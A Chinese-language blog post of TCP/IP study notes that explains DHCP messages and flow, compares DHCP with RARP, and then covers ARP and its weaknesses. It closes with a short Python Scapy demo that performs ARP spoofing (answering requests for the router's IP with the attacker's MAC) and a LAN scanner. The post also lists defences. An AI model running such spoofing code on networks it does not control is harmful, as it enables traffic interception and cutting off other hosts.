《TCP/IP協議詳解》思考總結 · 二

前言

寫這篇文章的緣由是客戶提出的一個問題：客戶使用公司的Wi-Fi產品的App，有兩個設備出現了問題，點擊App裏某個設備的開關但卻是另外一個設備響應。最後排查的原因是，設備A和B在重新連入Wi-Fi的時候分配的IP地址反了過來！而測試的App一直常駐後臺，保留的是第一次廣播發現時的IP地址沒有更新。爲此我整理了局域網內自動分配IP地址相關的內容，也就是文章的第一部分DHCP協議詳解。

DHCP協議本質是一種爲MAC地址和IP地址提供映射的服務，這讓我聯想起RARP協議。爲此在文章的第二部分對比了兩種協議。

既然談及了RARP，文章的結尾也順帶討論了它的兄弟協議ARP。ARP和前兩者的不同在於它提供的是IP地址到MAC地址的映射，並且不是發生在初始化而是傳輸發現設備的過程。

RARP/ARP協議在《TCP/IP詳解卷一》中有過專門的章節介紹（四、五兩章），所以本文不會再贅述這兩者協議的細節。如果仍有疑問，可以參考原書或者百度相關的內容。

DHCP協議詳解

DHCP(Dynamic Host Configuration Protocol) 動態主機配置協議，位於應用層。當某主機尚未分配IP地址並且被設置爲動態獲取方式時，DHCP服務器就會根據DHCP協議給作爲DHCP客戶端的這臺主機分配IP，使得主機能夠利用這個IP上網。

這個應用層協議相對於HTTP，FTP聽起來較爲陌生，但是現實生活中卻是非常常見的。如果恰巧你的身邊有一臺連接着Wi-Fi的iPhone或者iPad，你可以進入設置—>Wi-Fi ，點擊當前連接Wi-Fi旁邊的感嘆號按鈕查看配置，在這裏你可以發現DHCP的身影。

IMG_0152.PNG

圖中的Static選項用來設置靜態地址，需要手動輸入各項參數；左邊的則是我們今天將要介紹的DHCP；而中間的Bootp(Bootstrap Protocol)則是DHCP的前身，在《TCP/IP詳解卷一》中，第十六章整個篇幅拿來專門介紹了這個協議。

當然現在已經幾乎看不到Bootp了。繼任者DHCP兼容Bootp，有關DHCP報文格式問疑問，可以參考Bootp。兩者具體的不同可以參見文檔，本文不做贅述。
RFC 1531 - Dynamic Host Configuration Protocol
From the client's point of view, DHCP is an extension of the BOOTP mechanism. This behavior allows existing BOOTP clients to interoperate with DHCP servers without requiring any change to the clients' initialization software.
RFC 1534 - Interoperation Between DHCP and BOOTP
The format of DHCP messages is defined to be compatible with the format of BOOTP messages. ... Support of BOOTP clients by a DHCP server is optional at the discretion of the local system administrator.

DHCP報文類型簡介

DHCPDiscover

當作爲DHCP客戶端的主機第一次連入網絡的時候發出的廣播包，試圖發現DHCP服務器並請求IP地址的相關信息。

DHCPDiscover

DHCPOffer
當DHCP服務器收到DHCP客戶端發出的DHCPDiscover廣播以後，以廣播的形式將一個尚未分配的IP地址和一些TCP/IP的配置信息返回給DHCP客戶端。如果LAN中有多臺DHCP服務器，每一臺DHCP服務器都可以對DHCP客戶端做出迴應，由DHCP客戶端自行選擇和誰通信。在Windows中DHCP客戶端會使用第一個返回的DHCPOffer包。

DHCPOffer

但是細心的朋友應該發現了，DHCPDiscover的截圖中DHCP客戶端在二層和三層確實使用了廣播地址，但是DHCPOffer的截圖，DHCP服務器返回的消息地址是指定的！Ethernet這一層填入了DHCP客戶端的MAC地址，並且目的IP地址直接寫入了預備分配給DHCP客戶端的IP地址？

協議的描述是說以廣播的形式返回，但事實卻是單播的形式。這不符合邏輯和規範，但確確實實發生了。針對這個現象，我們應該引出兩個問題：

DHCP服務器是如何發出這個廣播包的？
此時DHCP客戶端還不知道自己分配的IP地址，爲什麼可以成功拿到這個數據包？

讓我們一一來分析一下：
要討論第一個問題，我們必須熟悉兩個概念：一個是數據進入協議棧的流程；另一個就是ARP協議。

數據進入協議棧的過程

以太網是是當今TCP/IP採用的主要的局域網技術。以太網首部的14個字節，依次是6字節源主機的MAC地址，6字節目標主機的MAC地址和2字節類型標識。當一臺主機把以太網數據幀發送到位於同一局域網上的另一臺主機時，是根據48 bit的MAC地址來確定目的接口的。設備驅動程序從不檢查IP數據報中的目的IP地址。這也就是說我們通過以太網發送一個數據報，除了要知道對方的IP地址，還需要知道對方的MAC地址。

但是DHCP作爲一個應用層的協議，它是如何設置以太網首部裏的目的MAC地址的呢？假設DHCP服務器在收到DHCP客戶端的DHCPDiscover之後預備分配一個IP地址192.168.199.232給DHCP客戶端，在返回DHCPOffer時假定192.168.199.232已經是DHCP客戶端的IP地址了。一般情況下會通過ARP協議來獲取DHCP客戶端的MAC地址。

DHCP服務器發送一份稱作ARP請求的以太網數據幀給以太網上的每個主機，*ARP請求數據幀中包含目的主機的IP地址。在Wireshark抓取的結果中你可以看到這樣一個提示
Who has 192.168.199.232 ? Tell 192.168.199.1
DHCP客戶端的ARP層收到這份廣播報文後，識別出這是DHCP服務器在尋問它的IP地址，於是發送一個ARP應答。這個ARP應答包含IP地址及對應的硬件地址。
192.168.199.232 is at xx:xx:xx:xx:xx:xx
DHCP服務器收到ARP應答後，獲取到了192.168.199.232也就是DHCP客戶端對應的MAC地址，那麼現在就可以傳送IP數據報了。

ARP層的說法其實並不準確，實際ARP相關數據報的收發和處理是由鏈路層來處理的。

那麼問題來了，DHCP客戶端此時尚未被分配IP地址，它怎麼會判斷出Who has 192.168.199.232 ? Tell 192.168.199.1這條消息是發送給自己的？這也就是說DHCP服務器發出的這個ARP請求根本沒有人會迴應！

有朋友可能會反駁，在DHCPDiscover中不是已經包含了DHCP客戶端的MAC地址了嗎，我們爲什麼還需要走ARP這一套流程？這裏需要明確：DHCPDiscover中的MAC地址是以太網首部的內容，但DHCP是一個應用層的協議，在應用層中獲取以太網首部的內容是不切實際的。要想應用層協議在以太網上發送一份IP數據報，那麼必須經由ARP來獲取目的主機的MAC地址。

ARP and DHCP

這也就是爲什麼我們好奇DHCP服務器會發出的這個DHCPOffer的數據報。在剛剛介紹ARP的流程裏，有一部分的內容並未提及，那就是ARP的高速緩存。實際緩存是一種提高效率的萬金油，對於ARP也不例外。爲了ARP的高速運行，每個主機上都有一個ARP高速緩存來存放最近IP地址到MAC地址之間的映射記錄。高速緩存中每一項的生存時間一般爲20分鐘，起始時間從被創建時開始算起。在發送ARP請求之前，主機會先查詢自己的ARP的高速緩存。

終端輸入arp -a可以查看本機的ARP的高速緩存。arp -s可以設置一個條目

這就是問題的突破口。通常Unix服務器會發個ioctl(2)請求給內核，爲該DHCP客戶端在ARP的高速緩存中設置條目(這就是命令arp-s所做的操作)。這意味着當DHCP服務器發送DHCPOffer時，DHCP服務器的ARP將在ARP的高速緩存中找到該DHCP客戶端的IP地址。

如果服務器沒有辦法在ARP的高速緩存設置一個條目，那麼只好退而求其次選擇廣播的方式將DHCPOffer發出。當然通常的期望是網絡廣播越少越好。

第一個問題的答案已經明瞭：DHCP服務器在收到DHCPDiscover時在ARP的高速緩存中將DHCP客戶端的MAC地址和將要分配的IP地址寫入條目，然後以此地址發出DHCPOffer。

但是DHCP客戶端此時尚未分配IP地址，它是如何收到這個數據包的呢？在考慮這個問題之前我們應該要明確一個前提那就是它們在同一個局域網內，交換機可以根據MAC地址將數據報投遞到DHCP客戶端。令我感到疑惑的是在DHCP客戶端尚未分配IP地址的情況下這個DHCPOffer並沒有被丟棄。能夠給出的合理解釋就是當前IP地址尚未分配，網絡層允許接收這樣一個數據報。這部分應該是看IP協議具體的邏輯實現，我對這一部分仍然不確定，如果有其他準確的答覆歡迎指教。

DHCPRequest
當DHCP客戶端選擇了一個DHCPOffer數據報之後，會通過廣播的形勢發送這樣一個請求的數據報。這條數據報中包含了DHCP客戶端選擇的DHCPOffer數據報中分配的IP地址。需要注意的是如果設備續租當前的IP地址，那麼它也會發出DHCPRequest，但是區別是會以單播的方式直接發送給DHCP服務器而不再是廣播。（有關續租，點擊查看自己手機的Wi-Fi詳情都可以查看到這個選項按鈕。）

request.png

Option:（50）Request IP Address 就是DHCPOffer分配的IP地址。

DHCPAck

服務器以廣播的形式確認了DHCP客戶端的請求，並提供了有關IP的設置選項。DHCP客戶端在接收了這條消息之後，就可以使用這些配置信息來設置自己的系統，並以這個租賃的IP地址在網絡裏收發IP數據報。
以廣播的形式返回是因爲此時DHCP客戶端尚未確定自己的IP地址。如果DHCPAck是DHCPInform的迴應，那麼這條數據報就可以直接以單播的方式發送給DHCP客戶端

ack.png

提到這裏我們需要關注一個點，無論是DHCPRequest還是DHCPAck亦或是這篇文章裏提及的所有其它有關DHCP的數據報，收發的端口都是不變的：DHCP服務器使用了67端口，DHCP客戶端使用的是68端口。

這確實是一種約定。首先我們可以思考：如果客戶端的端口不確定，允許使用臨時端口會出現什麼問題？之前介紹的幾種報文裏我們頻繁提到了廣播的通訊方式，這意味着如果DHCP服務器如果採用廣播的方式應答，LAN內所有的主機都會收到這個數據報，我們無法保證DHCP客戶端請求使用的臨時端口在LAN內其他主機上沒有被使用。如果恰巧別的主機也在使用一樣的臨時端口，那麼我們DHCP通訊勢必會對這臺主機造成影響。這就是約定端口比臨時端口的優勢所在

一般來說端口0 ~ 1024都是被保留的。我們開發的應用程序使用的端口最好足夠大，一般大於4000

那麼爲什麼DHCP客戶端和DHCP服務器要各佔用一個指定的端口？這實際是受制於DHCP協議本身。因爲DHCP客戶端和DHCP之間多種類型的報文都是以廣播的形勢互相傳遞的。如果DHCP客戶端和DHCP服務器使用相同的端口，那麼DHCP服務器發出的廣播，同一個局域網內的其他DHCP服務器也會被喚醒處理這條數據報。反之DHCP客戶端亦然。

之前的文章也提到了：通常的期望是網絡廣播越少越好。因爲一條應答會同時發送給不相關的主機，如果恰巧大家都在等待相同類型的數據報，那麼就容易造成混亂。比如在LAN內如果多臺主機同時進行系統引導，而DHCP服務器都是以廣播的形式進行應答，爲了應對這一種情況，DHCP的報文首部提供事務標識字段供主機進行區分。

DHCPNack

DHCP服務器以廣播的形式拒絕了DHCP客戶端的DHCPRequest請求。通常情況是因爲DHCP客戶端請求的IP地址非法。造成請求IP地址非法的原因有DHCP客戶端被移動到其他子網或者對IP地址的租賃過期無法繼續續租等等。

DHCPDecline

DHCP客戶端以廣播的形式通知DHCP服務器，DHCPOffer提供的IP地址已經被另一臺主機使用。

DHCPRelease

DHCP客戶端以單播的形式給分配它IP地址的DHCP服務器發送一條消息，解除當前IP地址的租賃。

DHCPInform

此時DHCP客戶端已經成功配置好自己的IP地址，它向DHCP服務器發起請求詢問一些額外的配置信息。

DHCP協議流程圖示

一般情況下，DHCP服務器分配IP地址的流程如下

DHCP客戶端在本地子網中廣播，嘗試請求分配一個IP地址
DHCP服務器收到客戶端的請求之後會以DHCPOffer迴應，數據報中包含一個IP地址以及和租賃相關的配置信息，供DHCP客戶端獲取。DHCP客戶端在收到DHCPOffer之前，會按照0s,4s,8s,16s,32s的間隔發送DHCPDiscover數據報。因爲是以廣播的形式發送，所以爲了避免在子網內和其他設備的廣播發生衝突，每次間隔會隨機延遲或提前1s以內的時間。如果一分鐘之後DHCP客戶端沒有收到任何迴應，在沒有額外配置的情況下那麼初始化就意味着失敗。
當DHCP客戶端收到了確認，它會根據回覆當中的DHCP選項信息來配置自己的TCP/IP屬性並完成初始化。
在退出之後DHCP客戶端會和DHCP服務器解除這個IP地址的租賃。（這個消息是沒有返回的，即使DHCP服務器沒有收到，那麼租賃到期時也會因爲沒有續租而自動解除）

DHCP會話 - 1

如果DHCP客戶端收到的DHCPOffer數據報，裏面提供的IP地址不可用，那麼DHCP客戶端會拒絕這個IP地址並通知DHCP服務器

DHCP會話 - 2

極少數的情況下，DHCP服務器或拒絕DHCP客戶端。通常是因爲DHCP客戶端請求了一個非法的IP地址。這個時候DHCP客戶端需要重新去確認租賃的過程。

DHCP會話 - 3

DHCP分配IP地址的機制實質上有三種，除開我們上文仔細介紹的動態分配方式（Dynamic Allocation），還可以自動分配方式（Automatic Allocation）爲DHCP客戶端永久的指定一個IP地址；亦或是手工分配方式（Manual Allocation），網絡管理員直接爲每臺DHCP客戶端指定IP地址，DHCP服務器只是將分配的結果傳達給DHCP客戶端。

本文不再贅述後兩種機制。

聊一聊RARP

上文我們提到，DHCP協議實際是BOOTP協議的升級版，而BOOTP則可以被認爲是另一種意義上的RARP（逆地址解析協議）的升級。我們在討論DHCP數據報格式的時候，提到在基於以太網的鏈路層上傳遞數據報是需要同時提供48 bit的MAC地址和32 bit的IP地址的。每臺主機的硬件地址是唯一的（至少理論上是這樣說的，實際情況並不如此這只是一個美好的願景），在主機初始化尚未獲取到IP地址的時候，這兩種協議提供了MAC地址到IP地址的一種映射。雖然常常會被人混成一談，但實際DHCP協議（或者說BOOTP協議）和RARP的區別非常的大。

首先，兩者分別處於不同的層上。

ARP and DHCP

重新翻看一下上面的老圖，RARP協議位於鏈路層，而DHCP協議是位於應用層上的。層次的不同使得封裝也相差甚遠。RARP直接封裝在以太網幀中，協議類型置爲0x0800用以標識這個報文是ARP/RARP報文，直接交由鏈路層去處理；而BOOTP/DHCP報文是直接封裝在UDP報文中，作爲UDP的數據出現的。

其次，RARP協議無法穿透子網，而DHCP可以

因爲RARP協議使用的是鏈路層的廣播，所以路由器不會轉發RARP的請求。這就迫使每個實際網絡都需要單獨設置一個RARP服務器。但是DHCP協議則沒有了這樣的麻煩。雖然在DHCP協議中有大量的會話需要以廣播的形式實現，而廣播域侷限在子網以內，但可以通過設置DHCP Relay來應對這一種情況。

DHCP Relay

DHCP Relay接收到本地主機發出的DHCP廣播包，處理之後以單播的形式轉發給DHCP服務器。同理在收到DHCP服務器的應答以後，在以廣播的形式返回給本地主機。

在這裏我們思考兩個問題

是否二層協議（也就是網絡層）都無法穿透子網。

並不盡然。比如我們所熟知的ICMP和RARP同在二層，但是ICMP可以穿透而RARP則不行。造成這樣一種情況的根源就在於網絡分層的不完美。
以我們熟知的TCP爲例，一個基於TCP的應用層協議在傳輸數據的過程中，用戶數據會自頂向下依次被封裝，每次向下傳遞的過程，低層協議都會將自己的首部添加在上層協議數據報的開端。在這裏我們可以簡單的根據封裝的順序來區分協議所在層次的高低。
但是在網絡層，有一個非常尷尬的存在那就是：ICMP和IP同在網絡層，但是ICMP的傳輸卻需要IP協議的承載，區分ICMP協議是依靠IP數據報中的type字段。而RARP/ARP協議則和IP協議一樣，是以以太網首部的type字段來加以區分的。在之前的圖中也可以看出，雖然這幾類協議同在網絡層，但是我們還是將它們分別放在了不同高度的位置上。
既然ICMP數據報被IP協議封裝處理了，那麼路由在接收到這樣一份數據報的時候就知道如何去轉發。但是RARP協議是依賴MAC地址的，轉發也就無從說起了。

是否可能允許處理一下路由讓其允許轉發RARP的數據報

因爲RARP協議沒有IP地址，所以即使允許路由器轉發，但是在接收到應答的時候，如果目的主機不是直連的，那麼路由器沒有辦法僅僅依據MAC地址來決定下一跳的位置。

最重要的在於，RARP協議的使用需要我們提前在服務器上配置好相關的信息，服務器只提供IP地址；而DHCP服務器則是動態的去分配IP地址，並且可以提供初始化過程中需要的各類選項。

試想一下，如果每次都需要人爲的去手動設置，那麼地址就很容易會缺乏統一的規劃和管理。如果我們希望在一個子網內，對地址能夠有統一的規劃和分配，專門的管理租約，續租，那麼就必須要有一個服務器來專門承擔這部分的責任。這也就是DHCP協議的意義所在。

總結

看似DHCP在和RARP的比較當中是完全勝出，但在IPv6裏情況卻變得非常值得玩味。在IPv6中，迴歸到ND（鄰居發現協議），DHCPv6協同分配的處理方案。ND可以簡單看成是增強版的ARP/RARP，它充分滿足了沒有DHCP服務器的情況下，在IPv6網絡分配IP地址，路由前綴自動生成，快速上網的需求。

設計成這樣的原因就在於網絡中有很多輕量級客戶端，不需要進行統一管理。這種場景下，輕量級的ARP/RARP進行一下修改和完善，比起DHCPv6就更加適合了。

聊一聊ARP

相比較於上文提到的兩類協議，ARP（地址解析協議）就顯得非常的簡單了。這是應用於實現從 IP 地址到 MAC 地址的映射，即詢問目標IP對應的MAC地址的一類協議。完整的流程只需要兩個數據報，一問一答即可。藉助Wireshark裏我們可以很輕鬆的看清它工作的流程。

ARP

發起方 PC-1 詢問
Who is 192.168.199.170 ? Tell 192.168.199.177
當IP地址是192.168.199.170的主機PC-2收到這條廣播以後會給予應答
192.168.199.170 is at xx:xx:xx:xx:xx:xx(PC-2的MAC地址)

這樣一份簡單的協議，卻留下了非常大的可操作空間。即使你不是專業的計算機相關從業人員，或許你也會聽人說過網絡掃描、內網滲透、中間人攔截、局域網流控這些名詞，包括大量的安全工具，例如大名鼎鼎的Cain、功能完備的Ettercap，這些全部都要基於ARP協議來實現。

要明白問題的根源，首先我們要明確ARP協議的報文有怎樣的特點：

報文沒有任何加密的措施
會話過程中有大量廣播的行爲

不僅ARP，它的兄弟協議RARP報文也是一樣。在RFC 3046 DHCP Relay Agent Information Option中有這樣一段話

   How does the system prevent  DHCP IP exhaustion attacks?  This is when an attacker
   requests all available IP addresses from a DHCP server by sending
   requests with fabricated DHCP客戶端 MAC addresses.  How can an IP address
   or LIS be permanently assigned to a particular user or modem?  How
   does one prevent "spoofing" of DHCP客戶端 identifier fields used to
   assign IP addresses?  How does one prevent denial of service by
   "spoofing" other DHCP客戶端's MAC addresses?

無加密的廣播意味着收發的數據報很容易就會被同在LAN下的主機獲取，傳輸的過程又沒有任何加密措施，那麼僞造應答也就毫無難度可言了。我們可以設想這樣一種情況，在收到發起方的詢問以後，我們僞造一條ARP Reply響應發起方會怎樣？

發起方 PC-1 詢問
Who is 192.168.199.170 ? Tell 192.168.199.177
正確的情況應該是IP地址爲192.168.199.170的主機 PC-2 迴應
192.168.199.170 is at xx:xx:xx:xx:xx:xx(PC-2的mac地址)
但是攻擊者可以模擬一條ARP報文進行迴應
192.168.199.170 is at yy:yy:yy:yy:yy:yy(攻擊者的mac地址)

發起方 PC-1 同時收到兩條ARP Reply，依據後到優先的原則會根據最新的Reply進行緩存。攻擊者短時間內多次響應，那麼幾乎可以肯定會覆蓋PC-2正確的響應。這意味着什麼？

PC-2的數據被轉發到攻擊者那裏，明文傳輸的數據將會直接暴露出來。
因爲原本屬於PC-2的數據被轉發，那麼對於PC-2就相當於斷開了網絡。
當然，直接斷開會引起使用者的注意，我們也可以做一些手腳來限速PC-2。

以上模擬ARP Reply。同理攻擊者也可以模擬發起ARP Request。這個應用比較多的是掃描LAN內的主機，相對來說無毒無害一些。遍歷LAN內可能的IP地址逐個構造ARP Request，如果LAN內存在相同IP地址的主機，那麼它就會響應自己的MAC地址。

掃描LAN設備

要避免ARP相關的攻擊，方法很多。最穩妥但是比較繁瑣的就是靜態設置，將IP地址和MAC地址一一綁定，幾乎斷絕了其它操作的可能，但是同個LAN內用戶多了以後會變得非常麻煩。或者不僅僅依靠ARP Reply，多個途徑獲取IP地址和MAC地址的映射用以判斷非法用戶，比如說DAI（Dynamic ARP Inspection）動態ARP檢測，交換機上開啓DHCP偵聽技術。

當然，我們也可以根據網絡數據包特徵自動識別局域網存在的ARP掃描和欺騙行爲，並做出攻擊判斷（哪個主機做了攻擊，IP和MAC是多少）。這也是部分安全軟件所實現的機制。

比如說攻擊者爲了確保自己的ARP Reply能夠覆蓋正確的響應，會短時間內發送多個僞造的數據報的行爲。

簡單實現的ARP掃描和欺騙

這裏使用的是Python的Scapy庫。裏面提供了兩個函數forwardArpPackrt和scanLanDevices，分別是做的ARP欺騙和ARP掃描LAN內主機的操作。因爲是個Demo並沒有加option，如果你有興趣測試自己修改一下代碼內相關的IP地址即可。

#coding:utf-8
from scapy.all import *

mac = get_if_hwaddr('en1')
print mac

def forwardArpPackrt(packet):
    print packet.op,packet.hwdst
    if packet.op == 1 and packet.pdst == '你的路由器的IP地址':
        print '-----Found-----'
        print packet.hwsrc, packet.psrc
        print '---------------'
        arpPkt = Ether(dst=packet.hwsrc)/ARP(op=2, hwdst=packet.hwsrc, pdst=packet.psrc, 
                psrc=packet.pdst, hwsrc=mac)
        res = srp1(arpPkt, timeout=1 ,verbose=0)
        if res:
            print 'succ'

def scanLanDevices():
    #根據自己的IP地址以及子網掩碼來確定可能的主機號
    IP_SCAN = '192.168.199.1/24'

    try:
        ans, unans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=IP_SCAN), timeout=2)
    except Exception as e:
        print e
    else:
        for send, rcv in ans:
            ListMacAddr = rcv.sprintf("%Ether.src%---%ARP.psrc%")
            print ListMacAddr

if __name__ == '__main__':

    #sniff(filter='arp', iface='en1',prn=forwardArpPackrt)
    scanLanDevices()

最後有兩點需要提示的：

抓包可以看出掃描本地設備的時候廣播的太過頻繁，可能會被丟棄一部分。導致掃描的結果不完整。
Scapy依賴比較多的庫，請確保安裝完全。

《TCP/IP協議詳解》思考總結 · 二

前言